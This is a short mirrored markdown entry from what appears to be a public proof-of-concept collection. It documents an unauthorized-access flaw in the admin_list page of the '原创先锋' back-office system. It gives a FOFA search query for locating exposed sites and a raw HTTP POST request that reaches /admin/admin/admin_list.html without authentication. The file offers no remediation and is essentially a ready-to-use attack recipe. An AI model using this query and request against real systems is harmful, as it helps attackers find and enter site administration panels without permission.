mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-07 19:35:52 +00:00
17 lines
388 B
Markdown
17 lines
388 B
Markdown
# 原创先锋后台管理admin_list存在未授权访问
|
|
|
|
# fofa
|
|
```
|
|
body="https://www.bjycxf.com"
|
|
```
|
|
|
|
# poc
|
|
```javasrcipt
|
|
POST /admin/admin/admin_list.html HTTP/1.1
|
|
Host:
|
|
Content-Type: application/json
|
|
Accept-Encoding: gzip
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.3
|
|
Transfer-Encoding: chunked
|
|
```
|